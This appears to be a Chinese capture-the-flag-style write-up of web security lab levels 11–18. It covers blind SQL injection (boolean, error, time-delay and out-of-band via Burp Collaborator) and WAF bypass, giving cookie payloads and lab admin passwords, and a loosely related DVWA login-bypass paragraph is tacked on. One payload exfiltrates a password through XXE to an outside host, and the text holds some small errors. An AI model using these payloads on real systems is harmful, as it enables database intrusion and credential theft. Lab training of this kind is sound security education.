burp靶场sql注入通关—下

第十一关(布尔盲注):

1.根据提示修改包含 TrackingId cookie的请求,先抓包并修改这个值,在后面加上永真式发现出现Welcome back

TrackingId=xxxx' and '1'='1

  再修改这个值为永假式看看,发现没有Welcome back,有两种是或不是回显说明是布尔类型的

2.利用是否有正确回显判断后面语句是否正确,出现Welcome back说明存在users表

TrackingId=xxxx' and (select 'a' from users LIMIT 1)='a

3.确定users表中是否存在administrator用户

TrackingId=xxxx' and (select username from users where username='administrator')='administrator

4.判断密码的长度,根据提示可知密码只包含小写字母和数字

TrackingId=xxxx' and (select username from users where username='administrator' and LENGTH(password)>2)='administrator

最终尝试出来密码长度为20

5.接下来测试出每位密码的值

TrackingId=xxxx' and (select substring(password,1,1) from users where username='administrator')='a

  最后得到密码为:2j1255423gxam09ettyx

6.使用该密码登录即可通关

第十二关(条件错误的盲注):

1.有题目可知这关是有错误回显的,先抓包对TrackingId值测试,出现报错说明不是单引号闭合

  再加一个单引号不报错了,说明是双引号闭合

2.确定是否存在注入点,需要使用有效的SQL语法构造一个查询

TrackingId=xxxx'||(select '' from dual)||'

  返回一个不存在的表名,这时出现了错误回显,说明存在错误注入

测试根据特定条件的真值有条件地触发错误

'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            报错

'||(select CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'            不报错

CASE语句:如果条件(when)为真,则计算前一个(then)表达式;如果条件为假,则计算后一个(else)表达式。

3.确定数据库中是否存在users表

TrackingId=xxxx'||(select '' from users where rownum=1)||'

4.确定users表中是否存在administrator用户,报错说明存在

TrackingId=xxxx'||(select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

因为from后的语句正确,所以执行when;when一定正确,所以执行then出现错误

5.确定密码的长度

TrackingId=xxxx'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 

=20报错且>20不报错,说明密码长度为20

6.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

   整理得到密码为:ydyo5oe5ops0k8ttwt25

6.使用该密码登录即可通关

第十三关(可见错误的盲注):

1.首先在Proxy—HTTP history里找到包含TrackingId的GET类型的数据包

2.判断是否存在注入点,出现对SQL语句的报错,注释后恢复正常,说明存在报错注入

3.调整使用select查询,并将返回值转换为int型

TrackingId=xxxx'+AND+CAST((SELECT+1)+AS+int)--

4.错误提示需要将payload更改为布尔类型,这次没有出现错误提示

TrackingId=xxxx'+AND+1=CAST((SELECT+1)+AS+int)--

5.从users表确定是否存在administrator用户,发现又出现错误

6.再根据提示出现未预料到的字符串,将TrackingID值删去

TrackingId='+AND+1=CAST((SELECT username FROM users)+AS+int)--

7.又出现错误说超过一行,再修改payload,结果回显说明存在administrator

TrackingId='+AND+1=CAST((SELECT username FROM users LIMIT 1)+AS+int)--

8.从users表中获得administrator的密码

TrackingId='+AND+1=CAST((SELECT password FROM users LIMIT 1)+AS+int)--

9.利用得到的密码登录即可通关

第十四关(时间延迟的盲注):

1.这关需要制造10秒的延迟,首先抓包测试是否存在注入点,发现是由单引号闭合的

2.利用sleep函数让网页延迟10秒即可通过

TrackingId=xxxx'|| pg_sleep(10)--

第十五关(时间延迟和信息检索的盲注):

1.这关需要触发条件时间延迟来推断信息,首先判断是否存在sql注入点,睡眠了5秒说明存在

验证应用程序是否立即响应,没有时间延迟,这样测试单个布尔条件并推断结果

TrackingId=xxxx'|| select CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

2.判断users表中是否有用户为administrator

TrackingId=xxxx'||(select CASE WHEN (username='administrator') THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

3.确定administrator密码的长度,最后得到密码长度为20

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and length(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

4.接下来测试出每位密码的值

TrackingId=xxxx'||(select CASE WHEN (username='administrator' and substring(password,1,1)=''a) THEN pg_sleep(5) ELSE pg_sleep(0) END from users)--

最后得到密码为:v7xdghg0xwm530oh8vbs

5.使用该密码登录即可通关

第十六关(外带交互的盲注):

1.这关由于SQL查询是异步执行的,对应用程序的响应没有影响,可以通过触发与外部域的外带交互来进行注入

   首先对Burp Collaborator进行DNS查询,其中Collaborator相当于外部服务器

2.构造payload利用extractvale函数报错将xml数据外带

TrackingId=xxxx' union select EXTRACTVALUE(xmltype('<%3fxml version%3d"1.0" encoding%3d"UTF-8"%3f><!DOCTYPE root [+<!ENTITY %25 remote SYSTEM "http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

划线部分填上一步复制的DNS

3.在collaborator看到执行payload后产生的信息

第十七关(外带数据渗出的盲注):

1.这关需要找到administrator的密码,还是先打开服务器端

2.构造payload将密码爆出

TrackingId=xxxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

3.复制得到的密码进行登录即可通关

第十八关(XML编码绕过):

1.这关需要获取管理员用户的凭据并登录,使用 Hackvertor 扩展绕过WAF

   先点击一个商品,根据提示抓check stock的包

2.接下来判断在storeID处是否存在注入点,可以发现库存减少了变为ID=2的商品的,说明存在注入点

3.尝试使用联合查询确定返回的列数,被发现存在攻击

4.安装插件Hackvertor

5.将数据包利用Hackvertor编码,这样就不会显示被攻击

6.从users表中获取administrator密码

1 union select username || '~' || password from users

7.使用获得的账号密码即可通关

### DVWA SQL Injection Level Walkthrough Tutorial In the Damn Vulnerable Web Application (DVWA), the SQL Injection vulnerability can be explored through various security levels, starting from low to high. For a basic understanding of how this works at the lowest difficulty setting: The application allows users to input data into fields such as 'Username' and 'Password'. When these inputs are not properly sanitized or validated before being used within an SQL query, attackers may exploit this weakness by injecting malicious code directly into those parameters[^1]. For instance, when attempting authentication with crafted entries like `admin' --` in both username and password boxes, it effectively terminates the string comparison operation early due to comment syntax (`--`) causing any subsequent characters including closing quotes to become comments rather than part of executable commands. To verify whether successful exploitation has occurred after submitting altered credentials: - Observe if login succeeds without matching actual stored passwords. - Check database logs for evidence of injected queries that bypassed intended logic checks. A practical demonstration involves using Burp Suite Proxy tool which helps intercept HTTP requests between browser client sessions and server responses allowing manual modification prior submission back towards target web service endpoint under test conditions only. ```sql SELECT * FROM users WHERE user = 'admin' -- ' AND password = '' ``` This example shows what happens behind the scenes where everything following `--` is treated as a comment thus ignoring the rest of the original statement structure leading up until end delimiter; thereby granting unauthorized access based purely on malformed parameter values provided during form submissions.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值